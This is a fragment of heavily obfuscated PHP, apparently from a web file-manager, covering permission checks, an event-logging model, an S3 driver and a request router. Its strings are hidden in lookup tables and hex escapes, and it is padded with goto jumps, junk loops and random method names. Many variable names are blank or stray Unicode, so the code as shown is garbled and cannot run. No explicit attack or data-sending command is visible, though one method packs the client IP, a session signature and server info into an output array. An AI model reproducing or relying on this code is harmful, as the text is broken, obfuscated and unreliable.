$GLOBALS[$؇ِ[6]][$؇ِ[1997]]) { $͵[$ہ] = $; continue; } $͵[$ہ] = $this->makeSourceAuth($ݙԊ, $, $); } return $͵; } public function authDeepCheck($ӱ, $ = false) { $ =& $_SERVER[ձК]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($ӱ, $[$[2176]])) { return !1; } $ = array(); foreach ($[$[2177]] as $ۜǮ => $) { if (!in_array($ӱ, $)) { continue; } $[] = $ۜǮ; } if (!$) { return !1; } $ = $ ? $[0] : $ӱ; return array($[490] => -1, $[542] => array($[495] => $[1275], $[1984] => $[230], $[496] => LNG($[2178]), $[2001] => $[2179]), $[2180] => LNG($[2181]), $[2182] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[ձК]; static $譤 = array(); $ = $ ? $ : USER_ID; if (isset($譤[$])) { return $譤[$]; } $ = Model($[2183])->listData(); $ = array(); foreach ($ as $ҩ) { if ($ҩ[$[489]] == 0 && $ҩ[$[2000]] == $[91]) { $[] = $ҩ[$[477]]; } } $ = $this->userGroupParents($); $͔͆ = array($[190] => SourceModel::TYPE_USER, $[571] => $); if ($) { $͔͆ = array(array($[190] => SourceModel::TYPE_USER, $[571] => $), array($[190] => SourceModel::TYPE_GROUP, $[571] => array($[494], $)), $[1079] => $[2081]); } $⽮ = $this->field($[2184])->where($͔͆)->select(); $ = array(); $ = array_to_keyvalue_group($⽮, $[193]); foreach ($ as $Էǘ => $ެ) { $ = $this->authArrayCheck($ެ, $); if ($[$[490]] > 0) { $[] = $Էǘ . $[12]; } } if ($) { $DZΘ = Model($[587]); foreach ($ as $Ò⪛) { $Ƙȶ = $DZΘ->getInfo($Ò⪛); if (!$Ƙȶ || !is_array($Ƙȶ[$[90]])) { continue; } $[] = $Ƙȶ[$[90]][$[193]]; } } $ = array(); $ = $; $܉ = Model($[1423]); $DZΘ = Model($[587]); $楰 = array(); $̔ = array(); $ި = array(); $ = array(); if ($) { $ς = $܉->where(array($[193] => array($[494], $)))->select(); foreach ($ς as $䦨) { if ($䦨[$[507]] == $[91]) { continue; } $ = $܉->parentLevelArray($䦨[$[586]]); $ = array_merge($, $); $[] = $䦨[$[571]]; $楰[$䦨[$[193]]] = $; $̔[$䦨[$[193]]] = $䦨[$[571]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $Ò⪛) { $Ƙȶ = $DZΘ->getInfo($Ò⪛); $ = $܉->parentLevelArray($Ƙȶ[$[586]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $Ò⪛) { $Ƙȶ = $DZΘ->getInfo($Ò⪛); $[] = $Ƙȶ[$[90]][$[193]]; $ި[$Ò⪛] = $Ƙȶ[$[90]][$[193]]; $[$Ò⪛] = $܉->parentLevelArray($Ƙȶ[$[586]]); } foreach ($楰 as $ => $) { $懥 = $̔[$]; if (!$懥 || !$ި[$懥]) { continue; } $ = array(); foreach ($[$懥] as $Ò⪛) { $[] = $ި[$Ò⪛]; } $楰[$] = array_merge($, $); } $ = array_values(array_unique($)); $Ē = array($[2176] => $, $[2177] => $楰); $譤[$] = $Ē; return $Ē; } private function makeSourceAuth($, $ϊ, $ǵ = false) { $ë =& $_SERVER[ձК]; $ = $ë[91]; $ٸ = $[$ë[571]]; $˻¤ = $[$ë[190]] == SourceModel::TYPE_GROUP; $䢒 = $˻¤ ? $this->groupRootAuth($ٸ, $ǵ) : !1; if ($䢒 && Model($ë[573])->authCheckAction($䢒[$ë[489]], $ë[1999])) { return $this->groupAuthInfo($䢒, $ٸ); } $ȃ = Model($ë[1423])->parentLevelArray($[$ë[586]]); $ȃ = array_merge(array($[$ë[193]]), array_reverse($ȃ)); $ = !1; foreach ($ȃ as $) { if (!isset($ϊ[$])) { continue; } $ɢ = $this->authMake($ϊ[$], $ǵ); if ($ɢ[$ë[542]]) { $ = $ɢ; break; } } if (!$˻¤) { return $; } if (!$ && $䢒) { $ = $this->groupAuthInfo($䢒, $ٸ); } if (!$) { $倭 = Model($ë[587])->getInfo($ٸ); $ = explode($ë[50], trim($倭[$ë[586]], $ë[50])); $ = array_reverse($); foreach ($ as $) { if ($ == $ë[230] || $ == $) { continue; } $NJҎ = $this->groupRootAuth($, $ǵ); if (!$NJҎ) { continue; } $ = $this->groupAuthInfo($NJҎ, $); break; } } if (!$ || $[$ë[490]] <= 0) { $ = $this->authDeepCheck($[$ë[193]], $ǵ); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $т =& $_SERVER[ձК]; if (!$ && KodUser::isRoot()) { return !0; } $돩 = Model($т[599])->getInfo($); $Ä = Model($т[2185])->listData($돩[$т[2186]]); if ($Ä && $Ä[$т[577]][$т[2187]] == 1) { return !0; } return !1; } private function sourceAuthInfo($̔) { $Ң =& $_SERVER[ձК]; $։⒰ = Model($Ң[1423]); $ӧ = $։⒰->sourceInfo($̔); if (!$ӧ) { return !1; } $։⒰->groupPathDisplay($ӧ); $ = array($ӧ); $ = $։⒰->_listAppendPath($); $ӧ = $[0]; $ = $ӧ[$Ң[584]]; if (isset($ӧ[$Ң[592]])) { $ЯК = explode($Ң[8], trim($ӧ[$Ң[584]], $Ң[8])); array_shift($ЯК); $ = $ӧ[$Ң[590]] . $Ң[2188] . implode($Ң[8], $ЯК); } return array($Ң[496] => $ӧ[$Ң[32]], $Ң[87] => KodIO::make($ӧ[$Ң[193]]), $Ң[2189] => $); } private function groupAuthInfo($, $ӅЫ) { $ϒ =& $_SERVER[ձК]; $ = Model($ϒ[587])->getInfo($ӅЫ); return array($ϒ[2190] => intval($[$ϒ[489]]), $ϒ[2173] => $, $ϒ[2191] => LNG($ϒ[2192]), $ϒ[2182] => array($ϒ[496] => $[$ϒ[32]], $ϒ[87] => KodIO::make($[$ϒ[90]][$ϒ[193]]), $ϒ[2189] => $[$ϒ[591]])); } protected function groupRootAuth($ɫ, $ϴ = false) { $ =& $_SERVER[ձК]; $ϴ = $ϴ ? $ϴ : USER_ID; $ = $ϴ . $[2193] . $ɫ; static $ = array(); if (isset($[$])) { return $[$]; } $͜Ϫм = Model($[587])->getInfo($ɫ); $ץ = $this->userGroupList($ϴ); $ = isset($ץ[$ɫ]) ? $ץ[$ɫ][$[489]] : !1; if ($ && Model($[573])->authCheckAction($[$[489]], $[1999])) { $[$] = $; return $; } $ = $this->sourceAuthSelect($͜Ϫм[$[90]][$[193]]); $ = $ ? $this->authMake($, $ϴ) : !1; $ժ = $ ? $[$[542]] : !1; $[$] = $ժ ? $ժ : $; return $[$]; } public function authOwnerApply($ˋ) { $ډ =& $_SERVER[ձК]; if (empty($ˋ[$ډ[489]]) || isset($ˋ[$ډ[2194]]) && $ˋ[$ډ[2194]]) { return $ˋ; } if (AuthModel::authCheckRoot($ˋ[$ډ[489]][$ډ[490]])) { return $ˋ; } $❥ = Model($ډ[1423])->parentLevelArray($ˋ[$ډ[586]]); $❥ = array_merge(array($ˋ[$ډ[193]]), array_reverse($❥)); $Ú = $this->sourceAuthSelect($❥); $̷ = array(); $ = array(); foreach ($Ú as $頩 => $ԟ) { $ = $this->authFolderOwnerUser($ԟ); $̷[$頩] = $; $ = array_merge($, $[$ډ[667]]); if ($[$ډ[2195]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($ˋ[$ډ[571]]); } $ = array_unique($); if (AuthModel::authCheckRoot($ˋ[$ډ[489]][$ډ[490]])) { $[] = USER_ID; } $ˋ[$ډ[489]][$ډ[2196]] = Model($ډ[579])->userListInfo($); return $ˋ; } private function authFolderOwnerGroup($ƞ) { $ =& $_SERVER[ձК]; $ş = Model($[2073])->where(array($[1978] => $ƞ))->select(); $ΐſ = array(); if (!$ş) { return $ΐſ; } foreach ($ş as $˓) { $ܧ = $this->authInfo($˓); if (AuthModel::authCheckRoot($ܧ[$[489]])) { $ΐſ[] = $˓[$[1777]]; } } return $ΐſ; } private function authFolderOwnerUser($) { $ժ =& $_SERVER[ձК]; $ا = array(); $ = !1; foreach ($ as $) { $ = $this->authInfo($); if ($[$ժ[571]] == $ժ[230]) { $ = !0; } if ($[$ժ[190]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$ժ[489]])) { $ا[] = $[$ժ[571]]; } } } return array($ժ[667] => $ا, $ժ[2195] => $); } public function authMake($ֻ䤽, $ܕ = false) { $ =& $_SERVER[ձК]; $ = $this->authArrayCheck($ֻ䤽, $ܕ); if ($[$[2197]]) { $[$[2197]] = $this->sourceAuthInfo($[$[2197]]); } return $; } public function authArrayCheck($Ѕ, $ = false) { $ =& $_SERVER[ձК]; if (!$Ѕ) { return array($[490] => 0, $[542] => !1); } $ = $ ? $ : USER_ID; $ = 0; $й = 0; $Σ = 0; $ = 0; $ = 0; $Ѹ = 0; $ߴ = 1000; $侟 = 0; $ = 0; $ = 0; $ָij = 0; $ӟ = array($[193] => 0); foreach ($Ѕ as $ӟ) { $ = $this->authInfo($ӟ); if (!$) { continue; } $ = $ӟ[$[571]]; $־ = intval($[$[489]]); if ($ӟ[$[190]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $Σ = $; $й = $־; } else { if ($ӟ[$[190]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ƀ = $this->groupStepToUserGroup($, $); if ($ƀ < $ߴ) { $ߴ = $ƀ; $ = $־; $Ѹ = $; $侟 = $; } if ($ƀ == $ߴ && $־ >= $) { $ = $־; $Ѹ = $; $侟 = $; } } else { if ($ == $[230]) { $ = !0; $ָij = $; $ = $־; } } } } if ($) { $Ƥ = $й; $ = $Σ; $ű = LNG($[2198]); } else { if ($) { $Ƥ = $; $ = $Ѹ; $ = Model($[587])->getInfo($侟); $ű = $[176] . $[$[591]] . $[2199] . LNG($[2200]); } else { if ($) { $Ƥ = $; $ = $ָij; $ű = LNG($[2170]); } else { $Ƥ = 0; $ = !1; $ű = $[12]; } } } $ = array($[2190] => intval($Ƥ), $[2173] => $, $[2191] => $ű, $[2182] => $ӟ[$[193]]); return $; } private function groupContainUser($ʍ, $߹ = false) { return in_array($ʍ, $this->userGroupParents($߹)); } private function groupStepToUserGroup($Ë靡, $ٟ = false) { $ɳ =& $_SERVER[ձК]; $ = $this->userGroupList($ٟ); $ = 1000; $敋 = $GLOBALS[$ɳ[6]][$ɳ[92]][$ɳ[2086]] == 1; $ = $敋 ? 3 : 2; foreach ($ as $) { if ($[$ɳ[1978]] == $Ë靡) { return 0; } $ݤ = explode($ɳ[50], trim($[$ɳ[586]], $ɳ[50])); if ($ݤ[0] == $ɳ[230] && count($ݤ) > $) { $á = array_reverse(array_slice($ݤ, $)); $ = array_search($Ë靡, $á); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[ձК]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[599])->getInfo($); $[$] = array_to_keyvalue($[$[2171]], $[1978]); return $[$]; } public function userGroupParents($֎) { $߶Ґ =& $_SERVER[ձК]; static $ = array(); $֎ = $֎ ? $֎ : USER_ID; if (isset($[$֎])) { return $[$֎]; } $ = $this->userGroupList($֎); $Ԃ = array(); $ = $GLOBALS[$߶Ґ[6]][$߶Ґ[92]][$߶Ґ[2086]] == 1; $Ç堦 = $ ? 3 : 2; foreach ($ as $ڣ) { $ = array($ڣ[$߶Ґ[1978]]); $ = explode($߶Ґ[50], trim($ڣ[$߶Ґ[586]], $߶Ґ[50])); if ($[0] == $߶Ґ[230] && count($) > $Ç堦) { $̸ = array_slice($, $Ç堦); $ = array_merge($, array_reverse($̸)); } $Ԃ = array_merge($Ԃ, $); } $[$֎] = array_unique($Ԃ); return $[$֎]; } public function authTargetInfoMake($Ǖ) { $ʿ =& $_SERVER[ձК]; $̨ = array(); $ = array(); foreach ($Ǖ as $픹) { if ($픹[$ʿ[190]] == SourceModel::TYPE_USER) { $̨[] = intval($픹[$ʿ[571]]); } else { if ($픹[$ʿ[190]] == SourceModel::TYPE_GROUP) { $[] = intval($픹[$ʿ[571]]); } } } if ($̨) { $̨ = Model($ʿ[579])->userListInfo($̨); } if ($) { $ = array($ʿ[2071] => array($ʿ[494], $)); $ = Model($ʿ[587])->field($ʿ[2201])->where($)->select(); $ = array_to_keyvalue($, $ʿ[1978]); } return array($ʿ[2202] => $̨, $ʿ[2203] => $); } public function authInfo($) { $ =& $_SERVER[ձК]; if ($[$[2087]]) { $̟ = Model($[573])->listData($[$[2087]]); if (!$̟) { return !1; $ = Model($[573])->listData(); $ = array_filter_by_field($, $[489], $[230]); return $; } $ˬ = array_field_key($̟, array($[477], $[32], $[489], $[2001], $[2002])); $ˬ[$[2204]] = $; return $ˬ; } else { return array($[495] => 0, $[1984] => $[$[2148]], $[496] => $[12], $[2001] => $[2205]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\151\x6f\137\x73\157\x75\162\143\x65\137\x65\x76\x65\156\164"; protected $dataAuto = array(array("\x63\x72\145\141\164\x65\124\151\x6d\145", "\x74\151\x6d\x65", "\151\156\163\145\162\x74", "\x66\165\x6e\143\164\x69\x6f\x6e"), array("\144\145\x73\143", '', "\151\x6e\163\x65\162\164\x2c\165\160\144\x61\x74\x65\54\163\x65\x6c\145\x63\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($Ͼ, $κś, $ = '') { $ť۱ =& $_SERVER[ձК]; if (!$this->eventSave) { return; } $ = Model($ť۱[1423])->sourceInfo($Ͼ); if (!$) { return !1; } if ($this->isDisableEvent($, $κś)) { return; } if ($ && is_string($)) { $ = array($ť۱[2018] => $); } $ަ = defined($ť۱[2206]) ? USER_ID : 0; $ = array($ť۱[493] => $Ͼ, $ť۱[2207] => $[$ť۱[192]], $ť۱[2208] => $[$ť۱[32]], $ť۱[584] => !empty($[$ť۱[584]]) ? $[$ť۱[584]] : $ť۱[12], $ť۱[1768] => $ަ, $ť۱[498] => $κś, $ť۱[1770] => $); $this->addSystemLog($κś, $); unset($[$ť۱[2208]], $[$ť۱[584]]); return $this->add($); } private function addSystemLog($ऺ, $퍒) { $𓉢 =& $_SERVER[ձК]; if ($ऺ == $𓉢[2209]) { $ऺ = $퍒[$𓉢[528]][$𓉢[2210]]; } else { if (in_array($ऺ, array($𓉢[1957], $𓉢[2211]))) { $ऺ = $퍒[$𓉢[528]][$𓉢[171]]; } } $܋Ҝ = array_merge($퍒, array($𓉢[2212] => $퍒[$𓉢[193]], $𓉢[2213] => $퍒[$𓉢[2213]])); Hook::trigger($𓉢[2214], $𓉢[2215] . $ऺ, $퍒); Model($𓉢[1921])->addLog($𓉢[2215] . $ऺ, $܋Ҝ); } private function isDisableEvent($, $҉Ӗ) { $˒Ԓ =& $_SERVER[ձК]; if ($[$˒Ԓ[190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($҉Ӗ == $˒Ԓ[1946]) { return !1; } return !0; } public function eventCreate($Ɣ, $ڗ) { $椭 =& $_SERVER[ձК]; $ = Model($椭[1423])->sourceInfo($Ɣ); $ˆ = array($椭[2210] => $ڗ, $椭[32] => $[$椭[32]]); return $this->addEvent($Ɣ, $椭[2209], $ˆ); } public function eventFileEdit($ƺ) { $ =& $_SERVER[ձК]; $ = array($[2216] => $_SERVER[$[2217]], $[2218] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2219]])) { $[$[2219]] = $[91]; } return $this->addEvent($ƺ, $[1947], $); } public function eventRecycle($, $ވ) { return $this->addEvent($, $_SERVER[ձК][2211], $ވ); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[ձК]; self::$_removeLast = $; $ȉ = Model($[1423])->sourceInfo($); $ = array_field_key($ȉ, array($[193], $[543], $[507], $[586])); $ = array($[171] => $ȉ[$[32]], $[2218] => ACTION, $[2220] => $); return $this->addEvent($ȉ[$[192]], $[1946], $); } public function eventShare($؊, $ֳ) { return $this->addEvent($؊, $_SERVER[ձК][1957], $ֳ); } public function eventMove($喪, $ǂ, $) { $ԉ =& $_SERVER[ձК]; if (self::$_removeLast == $喪) { return; } $֖ = Model($ԉ[1423]); $۬ = $֖->sourceInfo($喪); $ = $֖->sourceInfo($ǂ); $̄ = $֖->sourceInfo($); $ = array($ԉ[1243] => $ǂ, $ԉ[2221] => $[$ԉ[32]], $ԉ[2197] => !empty($[$ԉ[584]]) ? $[$ԉ[584]] : $ԉ[12], $ԉ[1244] => $, $ԉ[2222] => $̄[$ԉ[32]], $ԉ[2223] => !empty($̄[$ԉ[584]]) ? $̄[$ԉ[584]] : $ԉ[12]); $this->addEvent($喪, $ԉ[625], $); $۬ = $֖->sourceInfo($喪); $ = array($ԉ[193] => $۬[$ԉ[193]], $ԉ[32] => $۬[$ԉ[32]]); $this->addEvent($ǂ, $ԉ[2224], $); } public function eventCopy($褤) { $this->eventCreate($褤, $_SERVER[ձК][623]); } public function eventRename($ɐ, $ݔ, $Ƞ) { $۳ =& $_SERVER[ձК]; $Ѭ = array($۳[1243] => $ݔ, $۳[1244] => $Ƞ); return $this->addEvent($ɐ, $۳[1437], $Ѭ); } public function eventAddComment($Ĩΐ, $ӛ) { return $this->addEvent($Ĩΐ, $_SERVER[ձК][2225], $ӛ); } public function eventAddDesc($ū, $ؕ) { return $this->addEvent($ū, $_SERVER[ձК][2226], $ؕ); } public function listBySource($) { $ =& $_SERVER[ձК]; $â = Model($[1423])->sourceInfo($); $ = array($[493] => $); if ($â[$[487]] == $[91]) { $ۤն = Model($[1423])->listSearchChildren($, 20000); $ۤն[] = $ . $[456]; $ = array($[193] => array($[7], $ۤն)); } $嫛 = $this->where($)->order($[2227])->selectPage(); if ($嫛[$[444]][$[445]] == 0) { $嫛[$[444]][$[445]] = 1; $嫛[$[447]] = array(array($[493] => $, $[2207] => $â[$[192]], $[1768] => $â[$[529]], $[498] => $[2228], $[499] => $â[$[233]], $[1770] => $[12])); } return $this->eventListParse($嫛, $); } private function eventListParse($Σ, $߶) { $ؿ =& $_SERVER[ձК]; $ = $Σ[$ؿ[447]]; $ϝ = array_to_keyvalue($, $ؿ[12], $ؿ[193]); $Ć = array_to_keyvalue($, $ؿ[12], $ؿ[2213]); foreach ($ as $ܘ) { $ = $ܘ[$ؿ[528]]; if ($ܘ[$ؿ[33]] == $ؿ[625] && isset($[$ؿ[1243]])) { $ϝ[] = $[$ؿ[1243]] . $ؿ[12]; $ϝ[] = $[$ؿ[1244]] . $ؿ[12]; } if ($ܘ[$ؿ[33]] == $ؿ[2224] && isset($[$ؿ[193]])) { $ϝ[] = $[$ؿ[193]] . $ؿ[12]; } } $ϝ = array_merge($ϝ, $Ć, array($߶ . $ؿ[12])); $ϝ = array_unique($ϝ); $ʵ = array_unique(array_to_keyvalue($, $ؿ[12], $ؿ[1777])); $˱ = Model($ؿ[599])->userListInfo($ʵ); $ = Model($ؿ[899])->sourceListInfo($ϝ, !0); foreach ($ as &$ܘ) { if ($ܘ[$ؿ[33]] == $ؿ[625] && isset($ܘ[$ؿ[528]][$ؿ[1243]])) { $ܘ[$ؿ[528]][$ؿ[1243]] = $[$ܘ[$ؿ[528]][$ؿ[1243]]]; $ܘ[$ؿ[528]][$ؿ[1244]] = $[$ܘ[$ؿ[528]][$ؿ[1244]]]; } if ($ܘ[$ؿ[33]] == $ؿ[2224] && isset($ܘ[$ؿ[528]][$ؿ[193]])) { $ܘ[$ؿ[528]][$ؿ[193]] = $[$ܘ[$ؿ[528]][$ؿ[193]]]; } $ܘ[$ؿ[90]] = $[$ܘ[$ؿ[193]]]; $ܘ[$ؿ[2229]] = $[$ܘ[$ؿ[2213]]]; if ($ܘ[$ؿ[33]] == $ؿ[1946]) { $ܘ[$ؿ[2229]] = $ܘ[$ؿ[90]]; $ܘ[$ؿ[2213]] = $ܘ[$ؿ[2229]][$ؿ[193]]; $ܘ[$ؿ[90]] = !1; $ܘ[$ؿ[193]] = $ؿ[12]; } $ܘ[$ؿ[2156]] = $˱[$ܘ[$ؿ[1777]]]; } unset($ܘ); $Σ[$ؿ[447]] = $; return $Σ; } public function removeBySource($) { $ = array($_SERVER[ձК][493] => $); $this->where($)->remove(); } } goto B; D҂: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { $̄ =& $_SERVER[ձК]; parent::__construct($); $˾ = isset($[$̄[258]]) && $[$̄[258]] == $̄[249] ? $̄[249] : $̄[315]; $this->setSignVersion($˾); } public function link($, $ = array()) { return parent::link($, $ ); } public function fileOut($ԍ, $ = false, $ = false, $ć = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ձК][316])) { return parent::fileOutServer($ԍ, $, $, $ć); } parent::fileOut($ԍ, $, $, $ć); } public function fileOutImage($䊍, $ş = 250) { if (strstr($this->endpoint, $_SERVER[ձК][316])) { return parent::fileOutImageServer($䊍, $ş); } parent::fileOutImage($䊍, $ş); } public function fileOutLink($) { $ =& $_SERVER[ձК]; if (substr($, 0, 7) == $[218]) { $ = $[219] . substr($, 7); } header($[175] . $); die; } } define($_SERVER[ձК][317], 1); define($_SERVER[ձК][318], 2); goto a˭; dהּ: if (strlen($wdueljoskc) < $_SERVER[ձК][688]) { return; } class Application { private $defaultModule = "\151\x6e\144\x65\170"; private $defaultController = "\x69\156\x64\145\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($ъ) { $ŕ =& $_SERVER[ձК]; $䶥 =& $_SERVER[]; $ = explode($䶥[0], trim($ъ, $䶥[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $̽ = $ŕ[689]; if (strlen($̽) < $ŕ[688]) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $Ǣ = $ŕ[690]; $this->gpoh251d49cf($䶥[1], array($this, $䶥[2])); } public function appRun($ǮҒ) { $ =& $_SERVER[ձК]; $ =& $_SERVER[]; $ꐢ = explode($[0], $ǮҒ); $ْ = $[691]; if (!$ْ) { return; } $ = strtolower($ꐢ[0]); $nj = $[692]; $بȚ = $[3]; $ė = $[693]; if (strlen($ė) < $[694]) { return; } if ($ == $[4]) { $بȚ = $[5]; $ꐢ[0] = $[6]; $ꐢ[1] = $ꐢ[1] . $[7]; $ǮҒ = join($[0], $ꐢ); $ǮҒ = trim($ǮҒ, $[0]); } call_user_func(array($[8], $[9]), $بȚ . $[10], $ǮҒ); ActionCall($ǮҒ); $֮ = $[695]; while (strlen($֮) < $[696]) { if (!$֮) { break; } $֮++; } call_user_func(array($[8], $[9]), $بȚ . $[11], $ǮҒ); } private function autorun() { $ =& $_SERVER[]; global $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $穹) { $this->appRun($穹); $ = $_SERVER[ձК][697]; if (!$) { return; } } } private function hosic6f1626a() { $ =& $_SERVER[ձК]; $ =& $_SERVER[]; $ = $[4]; $٘ = $GLOBALS[$[13]][$[14]][0]; $ = $[698]; if (!$) { return; } if (!$٘ || strlen($٘) <= strlen($)) { return; } if (strtolower(substr($٘, -strlen($))) != $) { return; } $ô = substr($٘, 0, -strlen($)); $ = array($[4], $ô); $ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $媀 = $[699]; while (strlen($媀) < $[694]) { if (!$媀) { break; } $媀++; } } private function cnou14e8c0f7() { $ۡ =& $_SERVER[ձК]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ܶ = $_SERVER[$[16]]; $긟ö = $[17]; $ = $ۡ[700]; while ($ < $ۡ[688]) { if ($ >= 0) { break; } $++; } if (!strstr($ܶ, $긟ö)) { return; } $ۓ = strrpos($ܶ, $긟ö); $۸ = substr($ܶ, $ۓ + strlen($긟ö)); $ = $ۡ[701]; while (strlen($) < $ۡ[696]) { if (!$) { break; } $++; } preg_match_all($[18], $۸, $); $۸ = trim($[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $۸); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $є = $ۡ[702]; while ($є < $ۡ[696]) { if ($є >= 0) { break; } $є++; } } public function run() { $ =& $_SERVER[ձК]; $ =& $_SERVER[]; $this->cnou14e8c0f7(); $this->hosic6f1626a(); $ϓ = $[703]; if (strlen($ϓ) < $[696]) { die; } $˺ = $GLOBALS[$[13]][$[14]]; $ϗ = $[704]; $ = $GLOBALS[$[13]][$[15]]; define($[20], isset($˺[0]) && $˺[0] ? $˺[0] : $this->defaultModule); define($[21], isset($˺[1]) && $˺[0] ? $˺[1] : $this->defaultController); $ = $[705]; while ($ < $[694]) { if ($ >= 0) { break; } $++; } define($[22], isset($˺[2]) && $˺[0] ? $˺[2] : $this->defaultAction); define($[23], MOD . $[0] . ST . $[0] . ACT); $_SERVER[$[24]] = strtolower(ACTION); $ = $[706]; $this->autorun(); if (count($˺) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $gwnc99cefeab = array(); private $jtax3895d200 = ''; public function ygsuff5e2f9e() { $گƢȼ =& $_SERVER[ձК]; $ =& $_SERVER[]; $this->jnas6a49654c(); $this->hucp5779a876(); $ָѯ = $گƢȼ[707]; if (!$ָѯ) { return; } $this->oqst7e4e408c(); $this->rmqb241db383(); $ = $گƢȼ[708]; while (strlen($) < $گƢȼ[709]) { if (!$) { break; } $++; } $this->odjf1d8c72f5(); $this->nlpfdbcb9e83(); $this->letg895d0393(); $this->gpoh251d49cf($[25], array($this, $[26])); $ = $گƢȼ[710]; $this->gpoh251d49cf($[27], array($this, $[28])); $this->gpoh251d49cf($[29], array($this, $[30])); $this->gpoh251d49cf($[31], array($this, $[32])); $藻 = $گƢȼ[711]; } public function jbspd8ffab00($) { $˲ =& $_SERVER[ձК]; $¡ =& $_SERVER[]; $ʇ = Model($¡[33])->get(); $ = $˲[712]; while (strlen($) < $˲[688]) { if (!$) { break; } $++; } $ = array($¡[34], $¡[35], $¡[36], $¡[37], $¡[38], $¡[39], $¡[40], $¡[41], $¡[42], $¡[43], $¡[44], $¡[45], $¡[46], $¡[47], $¡[48], $¡[49], $¡[50], $¡[51], $¡[52], $¡[53], $¡[54], $¡[55], $¡[56], $¡[57], $¡[58], $¡[59], $¡[60], $¡[61], $¡[62], $¡[63], $¡[64], $¡[65], $¡[66], $¡[67], $¡[68], $¡[69], $¡[70], $¡[71], $¡[72], $¡[73], $¡[74], $¡[75], $¡[76], $¡[77], $¡[78], $¡[79], $¡[80], $¡[81], $¡[82], $¡[83], $¡[84], $¡[85]); foreach ($ as $) { $ = $GLOBALS[$¡[86]][$¡[87]][$]; $Š = $˲[713]; if (isset($ʇ[$])) { $ = $ʇ[$]; } $[$¡[88]][$¡[89]][$] = $; } $ = $[$¡[88]][$¡[89]][$¡[46]]; unset($[$¡[88]][$¡[90]][$¡[91]]); $ݞ = $˲[714]; unset($[$¡[88]][$¡[90]][$¡[92]]); $ݠڹ = $˲[715]; unset($[$¡[88]][$¡[89]][$¡[46]]); $ = $˲[716]; if (strlen($) < $˲[688]) { die; } unset($[$¡[88]][$¡[89]][$¡[93]]); $쭎 = $˲[717]; while (strlen($쭎) < $˲[688]) { if (!$쭎) { break; } $쭎++; } $[$¡[88]][$¡[89]][$¡[94]] = array($¡[95] => (int) $[$¡[96]], $¡[97] => (int) _get($, $¡[98], 0)); $ן = substr(md5($¡[99] . get_client_ip() . $ʇ[$¡[100]]), 0, 15); $[$¡[101]][$¡[102]] = Mcrypt::encode(Session::sign(), $ן, 3600 * 24); $[$¡[101]][$¡[103]] = Action($¡[104])->accessToken(); $[$¡[101]][$¡[105]] = md5($_SERVER[$¡[106]] . $ʇ[$¡[100]]); $[$¡[101]][$¡[107]] = base64_encode(serverInfo()); $ۣ = $˲[718]; if (!$ۣ) { die; } $[$¡[101]][$¡[108]] = $this->jtax3895d200; if ($ʇ[$¡[108]] != $¡[109]) { $[$¡[101]][$¡[110]] = $ʇ[$¡[110]]; $[$¡[101]][$¡[111]] = $ʇ[$¡[111]]; $Ѷ = rand_string(10) . $this->jtax3895d200 . rand_string(5); $[$¡[88]][$¡[112]][$¡[113]] = $this->vfoz6b4c65c7($Ѷ, $[$¡[101]][$¡[105]]); } if ($this->jtax3895d200 == $¡[109]) { $[$¡[88]][$¡[89]][$¡[94]][$¡[98]] = 0; } $[$¡[101]][$¡[114]] = $this->versionPluginFilter(); $[$¡[101]][$¡[115]] = _get($this->gwnc99cefeab, $¡[116], $¡[6]); if (KodUser::isRoot() && $this->config[$¡[117]]) { $[$¡[101]][$¡[118]] = WEB_ROOT; } return $; } private function nlpfdbcb9e83() { $˓ =& $_SERVER[ձК]; $ =& $_SERVER[]; $Ə = $_SERVER[$[24]] == $[119]; $ = $˓[719]; if (!$) { die; } if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $Ə = !0; } if ($Ə) { $ = array($[108] => $this->jtax3895d200, $[123] => $this->urnkd02310f9(), $[124] => Model($[125])->count()); if ($this->jtax3895d200 != $[109]) { $ = _get($this->gwnc99cefeab, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->gwnc99cefeab, $[129])); $[$[130]] = _get($this->gwnc99cefeab, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_string($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $this->yxpi3af00147(json_encode($), md5($[136])); $ = array($[137] => $); $־ = $˓[720]; if (!$־) { die; } call_user_func(array($[138], $[139]), $); $ƭ = $˓[721]; while 